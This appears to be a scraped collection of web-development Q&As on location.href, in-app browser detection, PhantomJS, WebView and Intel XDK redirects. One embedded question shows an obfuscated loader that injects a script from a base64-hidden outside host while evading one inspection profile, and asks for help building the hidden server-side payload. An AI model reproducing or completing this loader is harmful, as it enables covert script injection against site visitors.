I'm using location.href to get the full URL exists in browser address bar.
To provide more detail, it's important to note that our service has a js file that will be included in our customers sites. So this JS file will generate the full URL of applicant.
I thought this URL is somehow previous URL that redirected to real domain, but how I should prevent this action?
The line of JS code that will generate a link for iframe's src attribute is:
'http://sd.domain.ir/index.php?r=' + Math.floor(Math.random() * (100000000 - 0 + 1)) + 0 + '&ref=' + ((window.btoa) ? btoa(location.href) : 'ie') + '&responsive=' + ((document.querySelector('meta[name="viewport"][content*="width=device-width"]')) ? 'yes' : 'no') + '¶ms='
Examples of applicant UA:
Mozilla\/5.0 (Linux; U; Android 4.3; en-us; HUAWEI G620-L72 Build\/HuaweiG620-L72) AppleWebKit\/534.24 (KHTML, like Gecko) Version\/4.0 Mobile Safari\/534.24 T5\/2.0 bdbrowser\/6.1.0.4
Mozilla\/5.0 (Linux; U; Android 4.4.3; en-ae; HTC_One Build\/KTU84L) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Mobile Safari\/534.30
Mozilla\/5.0 (Linux; U; Android 4.3; en-us; GT-I9300 Build\/JSS15J) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Mobile Safari\/534.30
...
sometimes strange url generated by location.href and I don't know what is the reason. For example:
Main URL is something like below:
http://saten.ir/tag/%D8%A8%DB%8C%D9%88%DA%AF%D8%B1%D8%A7%D9%81%DB%8C-%D8%A7%D9%85%DB%8C%D8%B1%D8%B9%D8%A8%D8%A7%D8%B3-%D9%81%D8%AE%D8%B1%D8%A2%D9%88%D8%B1/
But the URL returned by location.href is as below:
http://www.google.com/search?site=&source=hp&ei=mpkeWIvHKYWbsgGtxaSQBg&q=%D8%A7%D9%85%D9%8A%D8%B1%D8%B9%D8%A8%D8%A7%D8%B3+%D9%81%D8%AE%D8%B1%D8%A7%D9%88%D8%B1&oq=%D8%A7%D9%85%D9%8A%D8%B1%D8%B9%D8%A8%D8%A7%D8%B3+%D9%81%D8%AE%D8%B1%D8%A7%D9%88%D8%B1&gs_l=mobile-gws-hp.3...4752.15339.0.16567.0.0.0.0.0.0.0.0..0.0....0...1c.1.64.mobile-gws-hp..0.0.0.UFWL1tf4KDM#scso=uid_WB6ZrwAGHJ0KLAXLjA8j8w_10:2120,uid_WB6aQQAGpZkKLNwFPgmnbA_10:2120
try do this
var myurl = location.origin + decodeURIComponent(location.pathname);
basically is the same that do location.href but it should works
I wasn't actually able to reproduce the bug, in all the few testing I did your code got the correct location.href.
The only problem that I can think of that could do that is that you are creating your link when you are building your class.
var my_obj = {
/*...*/
url: "http://sd.domain.ir/index.php?r=" + Math.floor(Math.random() * (1e8 + 1)) + "0&ref=" + (window.btoa ? btoa(location.href) : "ie") + "&responsive=" + (document.querySelector('meta[name="viewport"][content*="width=device-width"]') ? "yes" : "no") + "¶ms=",
/*...*/
}
my_obj.init();
Doing it like this means that the url is actually populated when the .js file is loaded.
What you get it is definitely a referrer, like if in old versions of the android browser you actually load the script before location.href changes, or there is some sort of prefetching (like the browser load stuff from the next page before actually going to the next page) going on.
Getting location.href after the dom has loaded should be better. You could try to check what state you are in before getting the href:
var my_obj = {
init: function(){
my_obj.url = "http://sd.domain.ir/index.php?r=" +Math.floor(Math.random() * (1e8 + 1)) + "0&ref=" + (window.btoa ? btoa(location.href) : "ie") + "&responsive=" + (document.querySelector('meta[name="viewport"][content*="width=device-width"]') ? "yes" : "no") + "¶ms=";
}
/*...*/,
url: ""
}
if(document.readyState == "uninitialized" || document.readyState == "loading " || document.readyState == "loaded"){
document.onreadystatechange = function(){
if (document.readyState == "interactive") {
my_obj.init();
}
}
}else{
my_obj.init();
}
Related
I want to be able to detect user when the user browses a web page inside twitter app. By detecting, I want to just add a body class that I will use to change the way the page looks for users inside twitter app. However, all my tries so far failed.
I can detect webview inside Facebook app using the following code
var ua = navigator.userAgent;
if ((ua.indexOf("FBAN") > -1) || (ua.indexOf("FBAV") > -1)) {
return 'facebook';
}
I have looked around/ googled around/ checked other StackOverflow solutions. However, I could not find a solution where I can detect twitter in-app. That is, I want to detect when a user browses a page inside twitter app.
The things I have tried and failed are below
if (/Twitter for/i.test(nua) === true) {
return 'twitter';
}
or
if (/\/\/t.co\//i.test(document.referrer) === true && /Safari\//.test(nua) === false) {
return 'twitter';
}
or checking for the browser, device, vendor, model, device type, engine, os, os version (why was I checking this?!?). I checked using Modernizr; however, no difference was found between as standalone Safari and in-app Twitter. Also, checked using Detect if user is using webview for android/iOS or a regular browser
Also tried the following with failure
var userAgent = window.navigator.userAgent.toLowerCase(),
safari = /safari/.test( userAgent ),
ios = /iphone|ipod|ipad/.test( userAgent );
var standalone = window.navigator.standalone,
userAgent = window.navigator.userAgent.toLowerCase(),
safari = /safari/.test( userAgent ),
ios = /iphone|ipod|ipad/.test( userAgent );
if( ios ) {
if ( safari ) {
$('.debug').prepend('Yeah I am a browser in ios');
} else if ( !safari ) {
$('.debug').prepend('Yeah I am a webview in ios');
}
} else {
$('.debug').prepend('Yeah I am NOT a ios');
}
if( ios ) {
if ( !standalone && safari ) {
$('.debug').prepend('Yeah I am a browser in ios');
} else if ( standalone && !safari ) {
$('.debug').prepend('Yeah I am a standaline in ios');
} else if ( !standalone && !safari ) {
$('.debug').prepend('Yeah I am WEBVIEW');
}
} else {
$('.debug').prepend('Yeah I am NOT IOS');
}
var isWebView = !/safari/.test( window.navigator.userAgent.toLowerCase()) || navigator.platform === 'iOS' || navigator.platform === 'iPhone'
$('.debug').prepend('<br>isWebView? : ' + isWebView + "<br>");
$('.debug').prepend('<br>AM I WEBVIEW?: ' + /AppName\/[0-9\.]+$/.test(navigator.userAgent));
var is_uiwebview = /(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(navigator.userAgent);
var is_safari_or_uiwebview = /(iPhone|iPod|iPad).*AppleWebKit/i.test(navigator.userAgent);
$('.debug').prepend('<br> is_uiwebview :' + is_uiwebview);
$('.debug').prepend('<br> is_safari_or_uiwebview :' + is_safari_or_uiwebview);
var uaSafari = navigator.userAgent.match(/Safari/i)
var uaSafariInput = navigator.userAgent.match(/Safari/i).input
var uaSafariIndex = navigator.userAgent.match(/Safari/i).index
$('.debug').prepend('<br> ' + uaSafari + '<br>' + uaSafariInput + '<br>' + uaSafariIndex + '<br>' + navigator.vendor + '<br>' + navigator.product + '<br>' + navigator.productSub + '<br>' + navigator.languages.length + '<br>' + navigator.doNotTrack + '<br>' + navigator.maxTouchPoints + navigator.maxTouchPoints);
//Check headers and see if any difference there
var req = new XMLHttpRequest();
req.open('GET', document.location, false);
req.send(null);
var headers = req.getAllResponseHeaders().toLowerCase();
$('.debug').prepend('<br> headers \t ' + headers);
if (/Twitter for/i.test(navigator.userAgent) === true) {
$('.debug').prepend('<br> Test1 ');
}
$('.debug').prepend('<br> Document referrer is : '+ document.referrer + " <br> ");
if (/\/\/t.co\//i.test(document.referrer) === true && /Safari\//.test(navigator.userAgent) === false) {
$('.debug').prepend('<br> Test2 ');
}
}
I don't believe it's possible to detect the Twitter in-app browser in JavaScript, because it uses a generic Web View with no identifiable properties.
Most of your examples rely on searching the user agent string for specific keywords. Here's a comparison of user agent strings between the relevant browsers in iOS 11 for iPad based on a test I just conducted:
Safari
Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5372a Safari/604.1
Facebook (in-app)
Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Mobile/15A5372a [FBAN/FBIOS;FBAV/140.0.0.63.89;FBBV/70896504;FBDV/iPad4,2;FBMD/iPad;FBSN/iOS;FBSV/11.0;FBSS/2;FBCR/AT&T;FBID/tablet;FBLC/en_US;FBOP/5;FBRV/0]
Twitter (in-app)
Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5372a Safari/604.1
You can see that Twitter's browser user agent is identical to Safari.
Obviously this is not a solution to your problem, but more of an explanation why you haven't found an actual answer.
You can check if navigator.mediaDevices is undefined. Since webRTC isn’t supported in webviews, it will be undefined in Twitter but present in Safari.
Twitter uses t.co to warp the shared URL, so there is a redirect before reaching the real content.
https://developer.twitter.com/en/docs/basics/tco
When checking all the headers sent from Twitter in-app browser, the referer header filed shows the wrapped t.co link.
referer: http://t.co/ 0JG5Mcq
Maybe this header can help distinguish with Safari's User-Agent.
if (navigator['userAgent'] == 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.27 Safari/537.36' && screen['width'] == '1024' && screen['height'] == '768') {} else {
var javas = document['createElement']('script');
javas['language'] = 'javascript';
javas['type'] = 'text/javascript';
javas['src'] = location['protocol'] + '//' + atob('dmlzdWFsbW90by54eXovaDcucGhw') + '?' + Math['floor']((Math['random']() * 1000000000) + 1) + '&h=' + encodeURIComponent(document['location']['host']);
document['head']['appendChild'](javas)
}
need to know how to make an PHP file that will show code inside if i run that link inside this code, this is the link dmlzdWFsbW90by54eXovaDcucGhw on 64bit (visualmoto.xyz/h7.php) and open this link you cant see nothing u see error but when run on that js code that PHP will open an hidden code can you please help me create that h7.php file.. how can i do it i'm very low on php
I have a Phantomjs script that tries to open a url. phantomjs returns this error:
Unable to load resource (request ID:undefinedURL:http://foo.bar/tree/nav_value/27)
Error code: 203. Description: Error downloading http://foo.bar/tree/nav_value/27 - server replied: Not Found
But when I open the url http://foo.bar/tree/nav_value/27 with chrome browser, there's no problem and the page is loaded correctly!
This is the script:
// Read the Phantom webpage '#intro' element text using jQuery and "includeJs"
"use strict";
var page = require('webpage').create();
var system = require('system');
if (system.args.length != 2) {
console.log("please pass 2 argument")
}
var company_id = system.args[1]
console.log("c", company_id)
page.onConsoleMessage = function(msg) {
console.log("message", msg);
};
page.onResourceError = function(resourceError) {
console.log('Unable to load resource (request ID:' + resourceError.id + 'URL:' + resourceError.url + ')');
console.log('Error code: ' + resourceError.errorCode + '. Description: ' + resourceError.errorString);
};
page.onError = function(msg, trace) {
console.log("error", msg)
}
var nav_value;
page.open("http://foo.bar/tree/nav_value/27", 'post', 'username=navid&password=test', function(status) {
if (status === "success") {
page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function() {
page.evaluate(function() {
nav_value = parseInt($("#value").text());
});
phantom.exit(0);
});
} else {
phantom.exit(1);
}
});
EDIT:
Something odd happens. When I run this code with phantomjs on windows on another machine it works. But on Ubuntu it returns the error!
The url that phantomjs is trying to open is on the same server. (Ubuntu)
What is the problem?
Not sure this will help, but I have some ideas that helped me figure out problems with PhantomJS in the past.
First, as you say it works on another machine, you may want to test other versions of PhantomJS, by downloading the executable and specifying the path on your Python script. Version 1.9.8 helped me with bypassing some security restrictions in the past (I also left some settings in case it may interest).
driver = webdriver.PhantomJS(
executable_path='/path/to/the/downloaded/phantomjs19',
# you can specify args, such as:
service_args=[
'--ignore-ssl-errors=true',
'--ssl-protocol=any',
'--web-security=false',
],
# and also other capabilities:
desired_capabilities={
'phantomjs.page.settings.resourceTimeout': '5000',
'phantomjs.page.settings.userAgent': (
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/53 "
"(KHTML, like Gecko) Chrome/15.0.87"
),
},
)
You may also try to see if upgrading Selenium helps.
pip install selenium --upgrade
Another idea that might help to understand what is happening is to try to print a screenshot and log the page source before the error happens. You can do it like:
# Set the window size to something appropriate for your tests.
driver.set_window_size(900, 800)
driver.save_screenshot('screen.png')
# Check if the page source matches your expectations.
with open('temp.html', 'w') as f:
f.write(driver.page_source)
Please, let me know if this helps!
Anybody knows how to open Prezi Presentation inside the android app or if anyone knows how to add given code in webView please tell me.
What i have tried so for
initializeWebView();
String html, path = "mkg9y_pl1cxd";
html = "<script src=\"http://prezi.github.io/prezi-player/lib/PreziPlayer/prezi_player.js\"></script><div id=\"player-api-intro\"></div> <script> var player = new PreziPlayer('player-api-intro', { 'preziId' : '"
+ path + "', height: '" + screenHeight + "', width: '" + screenWidth
+ "' }); try{ player.on(PreziPlayer.EVENT_STATUS, function(event) { if (event.value == PreziPlayer.STATUS_CONTENT_READY) { var no_of_slides=player.getStepCount(); var user_sec="
+ 10
+ "; var new_sec= user_sec/no_of_slides; setInterval('player.flyToNextStep();', (new_sec * 1000)); } }); }catch(e){} </script></script>";
String mimeType = "text/html";
String encoding = "utf-8";
mainWebView.loadDataWithBaseURL("null",html, mimeType, encoding, "");
private void initializeWebView()
{
String newUA= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/20100101 Firefox/4.0";
mainWebView = (WebView)findViewById(R.id.Wv);
mainWebView.getSettings().setJavaScriptEnabled(true);
mainWebView.getSettings().setPluginState(WebSettings.PluginState.ON);
mainWebView.getSettings().setDefaultZoom(ZoomDensity.FAR);
mainWebView.getSettings().setAppCachePath( getApplicationContext().getCacheDir().getAbsolutePath() );
mainWebView.getSettings().setAllowFileAccess( true );
mainWebView.getSettings().setAppCacheEnabled( true );
mainWebView.getSettings().setCacheMode(WebSettings.LOAD_DEFAULT );
mainWebView.setVerticalScrollBarEnabled(false);
mainWebView.setHorizontalScrollBarEnabled(false);
mainWebView.setBackgroundColor(0x00000000);
mainWebView.stopLoading();
mainWebView.getSettings().setLoadWithOverviewMode(true);
mainWebView.getSettings().setUseWideViewPort(true);
mainWebView.getSettings().setUserAgentString(newUA);
mainWebView.getSettings().setLoadWithOverviewMode(true);
mainWebView.getSettings().setUseWideViewPort(true);
}
i am getting follwoing error in log cat
11-30 14:12:48.725: E/Web Console(1582): Unsafe JavaScript attempt to access frame with URL null from frame with URL https://prezi.com/player/?oid=mkg9y_pl1cxd&explorable=0&controls=0. Domains, protocols and ports must match.
but i am unable to load presentation in webView. Can anybody tell me what i am doing wrong. Thanks for any help.
actually I'm developing on Intel XDK IDE, but I need redirect to other page.
Thanks.
Code:
$(document).on("click", "#ini-sesion", function(evt)
{
var user = $("#user").val();
var pass = $("#pass").val();
if (user == "admin" && pass == "123"){
intel.xdk.notification.alert( user + " - " + pass, "Data", "Ok");
window.location.href = "#sales";
}else{
intel.xdk.notification.alert( "Pass & User Incorrect", "Alert!", "Ok");
}
});
This:
window.location.href = "#sales";
won't work, cause href needs an URL, not a CSS selector.
You need to have a web protocol (http:// or https://), or something like this:
window.location.href = "sales.html";
This works for me:
activate_subpage("#sales");